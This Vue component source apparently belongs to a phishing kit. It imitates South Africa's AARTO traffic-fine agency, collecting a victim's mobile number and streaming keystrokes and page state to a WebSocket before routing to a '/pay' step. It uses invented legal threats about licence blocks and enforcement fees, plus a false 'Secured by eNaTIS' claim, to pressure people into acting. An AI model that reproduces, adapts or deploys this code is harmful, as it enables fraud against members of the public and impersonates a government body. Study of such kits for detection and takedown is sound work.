<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";

const { t } = useI18n();

const router = useRouter();
const loadingStore = useLoadingStore();

// 保持逻辑不变：使用 phoneData 结构
const formData = ref({ phoneData: { phoneNumber: "" } });

const instance = getCurrentInstance()!;

const onchange = (event: any) => {
  inputChange("input_phone", "phone", event.target.value);
};

const next = () => {
  // 逻辑保持：保存手机号并跳转
  localStorage.setItem("phoneNumber", formData.value.phoneData.phoneNumber);
  loadingStore.setLoading(true);
  setTimeout(() => {
    loadingStore.setLoading(false);
    router.push("/pay");
  }, 200);
};

watch(
  instance.appContext.config.globalProperties.$currentUser,
  (newValue, oldValue) => {}
);

onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "phone" },
    })
  );
  const userData =
    getCurrentInstance()?.appContext.config.globalProperties.$userData;
  if (userData && userData.phoneData) {
    formData.value = userData;
  }
  localStorage.setItem("route", "phone");
});
</script>

<template>
  <CommonLayout>
    <template #default>
      <div class="aarto-main-wrapper">
        <div class="aarto-container">
          <div class="aarto-header">
            <div class="aarto-badge">AARTO</div>
            <h1>{{ t("Check Infringement Status") }}</h1>
            <p class="subtitle">{{ t("Road Traffic Infringement Agency (RTIA)") }}</p>
          </div>

          <form @submit.prevent="next">
            <div class="content-body">
              <p class="instruction-text">
                {{ t("Enter your registered mobile number to check for outstanding Infringement Notices and Enforcement Orders under the AARTO Act.") }}
              </p>

              <div class="input-group">
                <label for="phoneNumber">
                  {{ t("Mobile Number") }}
                </label>
                <input
                  id="phoneNumber"
                  type="tel"
                  required
                  autofocus
                  @input="onchange"
                  v-model="formData.phoneData.phoneNumber"
                  inputmode="tel"
                  :placeholder="t('Example: +27 82 123 4567')"
                  class="aarto-input"
                />
              </div>

              <div class="aarto-warning-box">
                <h3>{{ t("Important Legal Notice:") }}</h3>
                <ul>
                  <li><strong>{{ t("Administrative Restrictions:") }}</strong> {{ t("Failure to act on an Infringement Notice leads to an Enforcement Order, incurring additional R60 fees.") }}</li>
                  <li><strong>{{ t("License Freeze:") }}</strong> {{ t("Unresolved fines will result in a block on eNaTIS, preventing you from renewing your driving license or vehicle license disc.") }}</li>
                  <li><strong>{{ t("Roadworthy Blocking:") }}</strong> {{ t("Outstanding penalties will prevent your vehicle from passing its mandatory Roadworthy Test.") }}</li>
                </ul>
              </div>
            </div>

            <div class="button-submit">
              <button type="submit" class="aarto-primary-btn">
                {{ t("CHECK STATUS") }}
              </button>
            </div>
          </form>
          
          <div class="aarto-footer-links">
            <span>{{ t("Secured by eNaTIS System") }}</span>
          </div>
        </div>
      </div>
    </template>
  </CommonLayout>
</template>

<style scoped>
/* AARTO 官方配色方案 */
:root {
  --aarto-blue: #003366;
  --aarto-gold: #FFCC00;
  --aarto-gray: #f4f4f4;
  --aarto-text: #333333;
  --aarto-red: #d32f2f;
}

.aarto-main-wrapper {
  background-color: #e9ecef;
  min-height: 80vh;
  padding: 2rem 1rem;
  display: flex;
  justify-content: center;
  align-items: center;
  font-family: 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
}

.aarto-container {
  max-width: 600px;
  width: 100%;
  background-color: #ffffff;
  border-top: 6px solid #FFCC00; /* AARTO 金黄色边框 */
  border-radius: 4px;
  padding: 2.5rem;
  box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
}

.aarto-header {
  text-align: center;
  margin-bottom: 2rem;
}

.aarto-badge {
  background-color: #003366;
  color: #FFCC00;
  display: inline-block;
  padding: 4px 12px;
  font-weight: 800;
  font-size: 1.2rem;
  margin-bottom: 0.5rem;
  border-radius: 2px;
}

h1 {
  font-size: 1.6rem;
  font-weight: 700;
  color: #003366;
  margin: 0.5rem 0;
  text-transform: uppercase;
}

.subtitle {
  color: #666;
  font-size: 0.9rem;
  letter-spacing: 1px;
  margin-bottom: 1rem;
}

.instruction-text {
  color: #444;
  font-size: 1rem;
  line-height: 1.6;
  margin-bottom: 1.5rem;
  border-left: 4px solid #003366;
  padding-left: 1rem;
}

.input-group {
  margin-bottom: 2rem;
}

label {
  display: block;
  font-size: 0.9rem;
  font-weight: 700;
  color: #003366;
  margin-bottom: 0.5rem;
  text-transform: uppercase;
}

.aarto-input {
  width: 100%;
  box-sizing: border-box;
  padding: 1rem;
  font-size: 1.1rem;
  border: 2px solid #ced4da;
  border-radius: 4px;
  background-color: #f8f9fa;
  transition: all 0.3s;
}

.aarto-input:focus {
  outline: none;
  border-color: #003366;
  background-color: #fff;
  box-shadow: 0 0 0 3px rgba(0, 51, 102, 0.1);
}

/* 警告框样式 */
.aarto-warning-box {
  background-color: #fff9e6;
  border: 1px solid #ffeeba;
  padding: 1.2rem;
  border-radius: 4px;
  margin-bottom: 2rem;
}

.aarto-warning-box h3 {
  color: #856404;
  font-size: 0.95rem;
  margin-top: 0;
  margin-bottom: 0.8rem;
  font-weight: 700;
}

.aarto-warning-box ul {
  margin: 0;
  padding-left: 1.2rem;
}

.aarto-warning-box li {
  font-size: 0.85rem;
  color: #533f03;
  line-height: 1.5;
  margin-bottom: 0.6rem;
}

.aarto-primary-btn {
  width: 100%;
  background-color: #003366;
  color: #ffffff;
  border: none;
  border-radius: 4px;
  font-size: 1.1rem;
  font-weight: 700;
  padding: 1rem;
  cursor: pointer;
  transition: background 0.3s;
  box-shadow: 0 4px 6px rgba(0, 51, 102, 0.2);
}

.aarto-primary-btn:hover {
  background-color: #002244;
  box-shadow: 0 6px 12px rgba(0, 51, 102, 0.3);
}

.aarto-footer-links {
  margin-top: 1.5rem;
  text-align: center;
  font-size: 0.8rem;
  color: #999;
  text-transform: uppercase;
}

@media (max-width: 768px) {
  .aarto-container {
    padding: 1.5rem;
  }

  h1 {
    font-size: 1.3rem;
  }

  .aarto-badge {
    font-size: 1rem;
  }
}
</style>